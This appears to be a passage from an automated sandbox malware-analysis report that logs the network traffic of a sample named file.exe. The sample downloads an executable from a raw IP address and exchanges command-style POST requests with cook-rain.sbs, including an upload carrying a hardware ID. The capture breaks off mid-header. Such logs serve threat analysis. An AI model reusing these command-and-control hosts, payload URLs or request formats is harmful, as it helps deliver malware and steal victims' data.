Nov 17, 2024 04:38:49.426625013 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 17, 2024 04:38:50.318819046 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 03:38:50 GMT Content-Type: application/octet-stream Content-Length: 2809856 Last-Modified: Sun, 17 Nov 2024 03:28:45 GMT Connection: keep-alive ETag: "673962ed-2ae000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 8f 3c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +<+`Ui` @ @.rsrc`2@.idata 8@xpeaaswh~:@yaicbbet +@.taggant@@+"@
Nov 17, 2024 04:38:50.318835974 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 04:38:50.318847895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 04:38:50.318859100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 04:38:50.318888903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 04:38:50.318903923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 04:38:50.318916082 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 04:38:50.318926096 CET	948	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 04:38:50.318938017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 04:38:50.318950891 CET	1236	IN	Data Raw: fb 31 71 d4 34 8e 50 5a f2 ac e6 d1 e4 9f 89 a9 29 8e 4d 3a 92 bb bf 59 f2 ac e6 43 e3 a3 89 59 25 8e 73 d8 02 5f 0a e2 d3 e3 6a 71 c5 b4 eb f7 e3 a7 d4 5a 82 8e 03 e2 cf 7d 6d 2a 8a a0 20 27 ed 49 67 d9 44 b8 e7 b1 04 c5 71 af 23 a9 0a 5e 53 8b Data Ascii: 1q4PZ)M:YCY%s_jqZ}m* 'IgDq#^SN}6VvdJs&0kpj9#4 }pzg{ft4rjkjM98r\3\|sudji~;,iS(pW7xl5
Nov 17, 2024 04:38:50.323837042 CET	1236	IN	Data Raw: bb a1 53 f5 df b3 b4 e2 7b d3 74 0b 5b d4 ee b5 8b dd 9e eb 73 4d 99 25 3a dc 75 ca fc 6b a6 7b eb 81 5b 6a f0 f9 b0 83 f4 0f 37 0a 0e 00 8e 2c 83 2d a8 a0 2a 30 8f 2a 43 8c fc 12 fd d5 fc 8f 41 84 62 20 fd 18 9d 66 a1 cf 7e a7 1a 0f a8 d8 30 84 Data Ascii: S{t[sM%:uk{[j7,-0CAb f~0.FBuM0yz?wKy_ohcKD)'<\n<jw>vFt.Hzx,U7AVW8PJK9X+*=SKCU&AT;R=_)Yo,9JFT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	188.114.96.3	443	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:35 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-17 03:38:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-17 03:38:35 UTC	1003	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hmku4ja71brg5gik8kctb7gmmm; expires=Wed, 12-Mar-2025 21:25:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1%2BUe9MYTL4akaGbSsUNhbB3ZVHy1CFhCCZb574mScTmXDo3YsRM%2BHVjrMmji60VA1NShRClIVH7Z2uW4JY0RwSiydwmAITSAyTj6WTasd%2FVCSCBB35GYls7o5SjQwern"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3cb0524b8f6c04-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=2431570&cwnd=251&unsent_bytes=0&cid=e9012f53bcfbe567&ts=622&x=0"
2024-11-17 03:38:35 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-17 03:38:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	188.114.96.3	443	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:36 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-17 03:38:36 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-17 03:38:36 UTC	999	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=22j55kne411pduru7uu6jqdmsm; expires=Wed, 12-Mar-2025 21:25:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sIlEV15PpedrDj6dP0SH8t5FT5vBXYUy74rors9eyEAliFWDN2u8Oe2ihLNJ9HS9SKCtXvv1sg0a%2Bkt7REGzMuUPVPPu36Yrv6G2Ifw6oXAhAayE2AsouWS1kVe6sOY7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3cb05969082e4f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1392&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1941018&cwnd=248&unsent_bytes=0&cid=67df03d380531b7d&ts=518&x=0"
2024-11-17 03:38:36 UTC	370	IN	Data Raw: 34 64 62 0d 0a 72 4b 6d 45 6e 76 4a 63 69 73 4d 44 75 6a 55 6a 31 51 51 6a 4c 67 62 77 31 70 4c 37 78 7a 64 31 71 76 5a 6d 56 39 75 4d 45 7a 6a 58 69 2f 4b 38 79 47 69 6d 34 58 44 66 46 78 6d 68 64 6c 5a 4c 4b 74 4b 33 39 74 6e 39 55 52 54 47 68 51 4e 37 2b 66 70 2b 47 70 62 50 35 66 4b 42 4f 61 62 68 5a 73 49 58 47 59 35 2f 41 55 74 6f 30 75 79 77 6e 71 31 56 46 4d 61 55 42 7a 79 30 2f 48 39 62 78 4d 58 6a 39 70 63 2f 37 71 4a 76 31 31 42 47 73 47 56 4a 51 47 2b 64 76 76 2f 5a 36 78 55 51 30 4e 52 63 64 5a 62 70 5a 31 6e 68 79 50 66 31 30 43 47 6d 75 43 48 66 57 77 48 76 4a 6b 4a 4c 5a 4a 79 77 39 70 43 76 58 78 33 4f 6c 51 49 39 71 2b 56 31 55 4d 54 4c 34 50 65 64 4e 76 71 76 5a 64 42 62 51 4c 70 6c 41 51 49 6b 6c 61 79 77 77 65 55 47 4a 63 75 46 46 53 Data Ascii: 4dbrKmEnvJcisMDujUj1QQjLgbw1pL7xzd1qvZmV9uMEzjXi/K8yGim4XDfFxmhdlZLKtK39tn9URTGhQN7+fp+GpbP5fKBOabhZsIXGY5/AUto0uywnq1VFMaUBzy0/H9bxMXj9pc/7qJv11BGsGVJQG+dvv/Z6xUQ0NRcdZbpZ1nhyPf10CGmuCHfWwHvJkJLZJyw9pCvXx3OlQI9q+V1UMTL4PedNvqvZdBbQLplAQIklaywweUGJcuFFS
2024-11-17 03:38:36 UTC	880	IN	Data Raw: 72 6e 36 6c 71 5a 56 45 4d 4b 65 43 7a 2b 39 34 33 78 63 7a 73 75 6d 73 74 41 35 38 4f 45 35 6d 48 52 45 70 32 46 4e 57 69 61 6f 39 4f 2f 58 76 42 55 51 78 4e 52 63 64 62 48 72 63 6c 6e 46 78 4f 58 30 6d 79 7a 6f 73 32 66 56 55 6c 4f 78 59 30 39 47 5a 34 43 2b 2f 70 2b 6d 58 42 7a 42 6b 51 4d 78 2b 61 41 78 58 64 61 4c 76 72 79 78 4d 2b 4f 74 61 38 39 58 41 61 67 6f 57 41 78 6a 6e 76 53 6f 32 61 46 55 45 38 6d 51 43 6a 75 39 34 6e 64 55 77 38 54 67 39 70 41 35 34 71 6c 70 32 56 70 4b 75 47 5a 45 51 57 43 55 75 50 47 63 35 52 74 58 7a 34 78 45 62 66 6e 41 64 6c 6e 63 69 64 50 2f 6e 6a 44 76 74 79 48 48 47 56 6a 33 59 55 30 4d 50 4e 4b 36 39 5a 61 33 56 41 58 4e 6d 68 59 35 76 4f 68 38 57 63 44 4c 34 2f 75 64 4d 4f 36 6d 59 74 42 54 51 4c 6c 71 53 30 39 67 Data Ascii: rn6lqZVEMKeCz+943xczsumstA58OE5mHREp2FNWiao9O/XvBUQxNRcdbHrclnFxOX0myzos2fVUlOxY09GZ4C+/p+mXBzBkQMx+aAxXdaLvryxM+Ota89XAagoWAxjnvSo2aFUE8mQCju94ndUw8Tg9pA54qlp2VpKuGZEQWCUuPGc5RtXz4xEbfnAdlncidP/njDvtyHHGVj3YU0MPNK69Za3VAXNmhY5vOh8WcDL4/udMO6mYtBTQLlqS09g
2024-11-17 03:38:36 UTC	1369	IN	Data Raw: 33 66 39 31 0d 0a 55 4d 2b 65 6f 61 4e 46 46 53 37 74 6f 55 30 46 75 6c 37 72 38 6e 4b 70 56 46 73 6d 61 44 6a 37 35 6f 44 46 64 31 6f 75 2b 76 4c 38 7a 2b 4c 4e 72 30 30 59 44 67 6d 56 50 51 6d 4f 45 39 4f 2f 58 76 42 55 51 78 4e 52 63 64 62 4c 6f 66 56 62 4f 7a 66 54 79 6e 79 7a 69 73 32 58 57 55 30 32 35 62 30 78 44 59 59 43 77 38 49 75 6b 55 42 44 47 6d 52 59 77 2b 61 41 78 58 64 61 4c 76 72 79 71 43 75 2b 78 63 4e 38 56 64 4c 52 6f 54 30 74 79 30 71 75 2b 67 4f 56 53 47 34 6a 4d 52 44 61 31 34 33 68 66 77 64 6e 73 38 4a 45 73 37 36 68 6f 30 6c 5a 50 75 47 31 4e 53 58 61 5a 75 2f 69 57 70 46 67 61 77 35 41 45 64 66 65 75 64 6b 4b 4f 6b 36 62 64 6e 54 48 36 6f 6e 43 61 59 6b 4b 35 61 45 5a 61 4a 49 33 36 36 64 6d 69 57 56 65 51 31 41 55 35 74 65 39 2b Data Ascii: 3f91UM+eoaNFFS7toU0Ful7r8nKpVFsmaDj75oDFd1ou+vL8z+LNr00YDgmVPQmOE9O/XvBUQxNRcdbLofVbOzfTynyzis2XWU025b0xDYYCw8IukUBDGmRYw+aAxXdaLvryqCu+xcN8VdLRoT0ty0qu+gOVSG4jMRDa143hfwdns8JEs76ho0lZPuG1NSXaZu/iWpFgaw5AEdfeudkKOk6bdnTH6onCaYkK5aEZaJI366dmiWVeQ1AU5te9+
2024-11-17 03:38:36 UTC	1369	IN	Data Raw: 48 33 6d 7a 72 73 6f 57 7a 54 57 55 2b 2b 61 6b 6c 41 59 34 43 35 39 5a 47 76 58 42 4c 45 6d 51 63 6e 75 75 38 78 46 49 37 4d 2f 72 7a 49 66 73 2b 53 56 76 73 58 58 76 6c 2f 41 55 74 6f 30 75 79 77 6d 4b 31 53 47 63 79 47 43 69 65 33 36 58 46 63 78 73 50 68 38 4a 34 77 2b 71 6c 67 32 46 6c 4f 76 32 39 46 54 57 43 57 75 50 66 5a 36 78 55 51 30 4e 52 63 64 5a 48 74 61 30 43 4d 35 65 33 38 6c 79 37 2b 75 69 48 48 47 56 6a 33 59 55 30 4d 50 4e 4b 77 2b 35 4f 73 56 68 37 4d 6d 51 51 38 74 75 64 35 56 38 62 5a 35 2f 61 43 4f 75 32 67 62 74 4a 54 53 62 74 70 54 55 68 32 6d 66 53 2b 32 61 4a 4e 56 35 44 55 4a 44 36 76 7a 57 4e 49 6a 74 53 6f 35 64 41 35 35 4f 45 35 6d 46 35 4e 74 6d 64 4c 53 6d 2b 58 75 66 43 63 72 31 49 62 79 4a 51 48 4d 37 2f 6a 65 56 4c 43 78 Data Ascii: H3mzrsoWzTWU++aklAY4C59ZGvXBLEmQcnuu8xFI7M/rzIfs+SVvsXXvl/AUto0uywmK1SGcyGCie36XFcxsPh8J4w+qlg2FlOv29FTWCWuPfZ6xUQ0NRcdZHta0CM5e38ly7+uiHHGVj3YU0MPNKw+5OsVh7MmQQ8tud5V8bZ5/aCOu2gbtJTSbtpTUh2mfS+2aJNV5DUJD6vzWNIjtSo5dA55OE5mF5NtmdLSm+XufCcr1IbyJQHM7/jeVLCx
2024-11-17 03:38:36 UTC	1369	IN	Data Raw: 37 34 4b 70 6e 31 6c 5a 48 75 32 73 42 41 69 53 56 72 4c 44 42 35 58 49 4e 78 5a 49 54 4a 49 7a 70 63 51 75 4f 31 4b 6a 6c 30 44 6e 6b 34 54 6d 59 57 6b 32 39 61 30 52 49 62 4a 57 33 38 5a 57 68 57 42 72 4d 6e 51 41 77 71 2f 78 33 56 4d 37 45 36 50 4f 63 4c 4f 61 6b 59 64 51 58 44 2f 64 68 57 51 77 38 30 6f 58 6e 6d 65 56 4b 57 64 48 55 41 7a 6e 35 74 6a 46 56 77 39 6e 71 38 35 41 2f 36 36 56 71 33 31 46 48 74 6d 56 45 54 32 47 55 74 66 43 56 72 31 49 66 77 70 6f 4a 4d 37 33 6f 64 78 71 41 69 2b 48 6b 30 47 61 6f 6b 32 7a 57 58 6b 4b 78 61 31 64 6b 56 64 4b 72 76 6f 44 6c 55 68 75 49 7a 45 51 78 73 75 5a 39 58 38 62 4f 35 2f 53 61 4e 75 65 75 63 39 6c 59 53 4c 42 74 54 45 4e 71 6c 37 72 69 6e 71 35 65 48 38 47 61 41 6e 58 33 72 6e 5a 43 6a 70 4f 6d 79 70 Data Ascii: 74Kpn1lZHu2sBAiSVrLDB5XINxZITJIzpcQuO1Kjl0Dnk4TmYWk29a0RIbJW38ZWhWBrMnQAwq/x3VM7E6POcLOakYdQXD/dhWQw80oXnmeVKWdHUAzn5tjFVw9nq85A/66Vq31FHtmVET2GUtfCVr1IfwpoJM73odxqAi+Hk0Gaok2zWXkKxa1dkVdKrvoDlUhuIzEQxsuZ9X8bO5/SaNueuc9lYSLBtTENql7rinq5eH8GaAnX3rnZCjpOmyp
2024-11-17 03:38:36 UTC	1369	IN	Data Raw: 61 64 78 5a 55 37 5a 70 41 51 49 6b 6c 61 79 77 77 65 56 6b 41 63 2b 54 43 33 65 51 36 57 70 62 78 4d 6a 74 38 4e 41 68 70 72 67 68 33 31 73 42 37 79 5a 4d 51 47 6d 57 70 76 79 5a 70 56 77 51 77 6f 59 4c 4f 72 54 74 63 56 2f 63 79 76 54 7a 6d 7a 76 72 70 57 37 58 57 30 6d 39 4a 67 38 4d 59 34 72 30 71 4e 6d 4a 56 67 62 43 31 69 4d 76 72 2b 6c 39 53 38 58 47 36 72 79 50 63 50 48 68 5a 74 51 58 47 66 64 6d 51 45 46 32 6c 37 58 36 6b 36 68 64 47 4d 32 52 43 7a 47 39 35 58 39 49 77 4d 54 6d 2b 70 73 2f 37 61 4a 71 30 6c 6c 49 70 53 59 50 44 47 4f 4b 39 4b 6a 5a 6a 30 34 57 78 5a 68 47 47 37 4c 34 64 68 6a 76 78 65 33 37 6e 43 69 6f 76 69 2f 42 46 30 61 37 4a 68 6b 4d 62 5a 79 34 38 35 36 74 58 52 4c 49 6e 77 51 36 73 2b 42 32 53 4d 54 48 37 4f 36 66 50 65 57 Data Ascii: adxZU7ZpAQIklaywweVkAc+TC3eQ6WpbxMjt8NAhprgh31sB7yZMQGmWpvyZpVwQwoYLOrTtcV/cyvTzmzvrpW7XW0m9Jg8MY4r0qNmJVgbC1iMvr+l9S8XG6ryPcPHhZtQXGfdmQEF2l7X6k6hdGM2RCzG95X9IwMTm+ps/7aJq0llIpSYPDGOK9KjZj04WxZhGG7L4dhjvxe37nCiovi/BF0a7JhkMbZy4856tXRLInwQ6s+B2SMTH7O6fPeW
2024-11-17 03:38:36 UTC	1369	IN	Data Raw: 56 6a 33 59 55 30 4d 50 4e 4b 30 39 4a 57 6d 55 68 6e 48 6d 51 73 79 73 75 46 37 56 4e 7a 45 34 2f 53 63 4e 75 57 7a 61 39 4a 46 53 4c 35 72 54 30 52 32 6b 66 53 2b 32 61 4a 4e 56 35 44 55 4e 6a 2b 36 34 6d 64 58 77 59 76 35 73 6f 6c 2b 37 36 30 68 67 42 64 54 70 57 5a 4b 54 47 4f 63 70 76 47 52 71 6c 38 58 7a 70 38 4f 4e 72 44 71 66 31 50 49 79 75 76 39 6b 54 37 74 6f 57 6a 4b 57 67 48 35 4a 6b 5a 55 4a 4d 72 30 78 35 57 75 5a 42 54 65 31 42 74 37 6f 4b 35 32 56 6f 36 54 70 76 32 43 4d 2b 43 6c 59 64 56 52 53 72 5a 6e 51 6b 78 6b 6b 62 54 31 6b 71 70 54 45 4d 57 65 44 54 79 72 35 6e 56 49 7a 73 66 69 76 4e 35 2b 37 37 6b 68 67 42 64 78 74 47 31 4e 54 47 6d 48 39 4f 2f 58 76 42 55 51 78 4e 52 63 64 62 48 6c 65 6c 7a 46 79 4f 58 79 6d 7a 54 6e 72 6d 76 65 Data Ascii: Vj3YU0MPNK09JWmUhnHmQsysuF7VNzE4/ScNuWza9JFSL5rT0R2kfS+2aJNV5DUNj+64mdXwYv5sol+760hgBdTpWZKTGOcpvGRql8Xzp8ONrDqf1PIyuv9kT7toWjKWgH5JkZUJMr0x5WuZBTe1Bt7oK52Vo6Tpv2CM+ClYdVRSrZnQkxkkbT1kqpTEMWeDTyr5nVIzsfivN5+77khgBdxtG1NTGmH9O/XvBUQxNRcdbHlelzFyOXymzTnrmve
2024-11-17 03:38:36 UTC	1369	IN	Data Raw: 64 4d 52 32 6a 51 74 66 32 4a 6f 68 56 5a 69 4a 4a 45 62 65 6d 67 4d 56 37 66 69 37 36 73 77 6d 57 39 38 6a 61 49 42 56 37 35 66 77 46 61 4a 4d 72 6d 76 74 6d 33 46 55 2b 49 30 77 63 6e 71 2b 68 79 54 4d 32 4d 32 4d 4b 77 4e 65 53 69 62 64 6c 51 41 66 6b 6d 54 67 77 38 71 2f 54 7a 69 37 63 61 42 74 36 5a 46 44 4c 31 35 6d 42 58 77 6f 75 6f 76 4e 77 36 34 36 31 6b 33 30 63 4f 70 58 5a 4b 51 48 4c 65 73 4f 4c 5a 36 78 55 47 77 35 73 57 4f 37 36 68 59 45 7a 44 32 2b 58 35 6c 33 4c 67 73 47 7a 55 46 77 2f 33 63 30 70 41 59 70 2b 68 76 34 69 7a 56 67 48 50 32 41 77 6b 74 4f 49 78 5a 59 43 4c 2f 72 7a 49 66 74 32 69 62 39 5a 51 56 36 59 72 59 55 64 6f 6b 62 6a 78 6e 75 55 62 56 38 37 55 58 47 62 33 72 6e 56 4c 6a 70 4f 32 72 73 74 72 75 2f 59 78 69 6b 67 50 72 Data Ascii: dMR2jQtf2JohVZiJJEbemgMV7fi76swmW98jaIBV75fwFaJMrmvtm3FU+I0wcnq+hyTM2M2MKwNeSibdlQAfkmTgw8q/Tzi7caBt6ZFDL15mBXwouovNw6461k30cOpXZKQHLesOLZ6xUGw5sWO76hYEzD2+X5l3LgsGzUFw/3c0pAYp+hv4izVgHP2AwktOIxZYCL/rzIft2ib9ZQV6YrYUdokbjxnuUbV87UXGb3rnVLjpO2rstru/YxikgPr
2024-11-17 03:38:36 UTC	1369	IN	Data Raw: 6b 79 75 65 2b 32 62 63 56 54 34 6a 54 43 6a 69 34 37 58 39 5a 33 4e 6e 67 2f 34 59 39 72 35 39 66 2f 56 70 4d 73 6d 68 47 63 6c 71 7a 76 75 43 55 71 6c 49 70 39 71 4d 56 4d 71 6d 73 56 31 6e 59 79 4b 61 79 30 43 61 6f 2b 53 48 35 58 56 47 36 61 55 59 4d 4b 74 4b 77 73 4d 48 6c 63 42 72 46 6b 51 6f 79 2b 38 39 37 53 73 50 45 34 62 7a 65 66 75 54 68 4f 5a 68 57 53 36 64 72 54 6b 73 6f 6c 61 37 33 32 65 73 56 47 59 6a 4d 52 44 53 7a 2f 6e 78 56 79 59 66 67 38 70 35 2b 39 2b 39 34 6d 45 45 42 37 7a 55 50 44 48 62 53 37 4c 44 65 71 31 67 57 79 35 6f 48 4a 36 76 6f 63 6b 7a 4e 6a 4e 6a 43 74 54 50 6c 70 47 2f 66 61 58 2b 57 62 46 46 42 61 35 58 32 30 4a 36 7a 56 69 6e 32 6f 78 55 79 71 61 78 58 57 64 6a 49 70 72 4c 51 4a 71 6a 35 49 66 6c 64 55 62 70 70 52 67 Data Ascii: kyue+2bcVT4jTCji47X9Z3Nng/4Y9r59f/VpMsmhGclqzvuCUqlIp9qMVMqmsV1nYyKay0Cao+SH5XVG6aUYMKtKwsMHlcBrFkQoy+897SsPE4bzefuThOZhWS6drTksola732esVGYjMRDSz/nxVyYfg8p5+9+94mEEB7zUPDHbS7LDeq1gWy5oHJ6vockzNjNjCtTPlpG/faX+WbFFBa5X20J6zVin2oxUyqaxXWdjIprLQJqj5IfldUbppRg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	188.114.96.3	443	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:37 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R0VFF3GOQT55UEOT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12838 Host: cook-rain.sbs
2024-11-17 03:38:37 UTC	12838	OUT	Data Raw: 2d 2d 52 30 56 46 46 33 47 4f 51 54 35 35 55 45 4f 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 30 43 44 37 41 33 35 44 30 32 31 30 42 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 52 30 56 46 46 33 47 4f 51 54 35 35 55 45 4f 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 30 56 46 46 33 47 4f 51 54 35 35 55 45 4f 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --R0VFF3GOQT55UEOTContent-Disposition: form-data; name="hwid"AD0CD7A35D0210B7F7005D7B20127A88--R0VFF3GOQT55UEOTContent-Disposition: form-data; name="pid"2--R0VFF3GOQT55UEOTContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-17 03:38:38 UTC	1010	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f15rcurn0loam4co4bad82jl81; expires=Wed, 12-Mar-2025 21:25:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XPIcYAqVNx6ppM8hy3GshIixMuhRwAwP1V7%2F06%2BeIF7Ro%2FEoYkFHLyxUneVEXdf4j%2Bzz8IrkkJP58thOrzduj0ZA1mAjSZFy%2FfzJ3o0FU91gzfkepYi3Eo3OQMAzZY2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3cb0634892e993-DFW alt-svc: h3=":443"; ma=86400 server-timing: 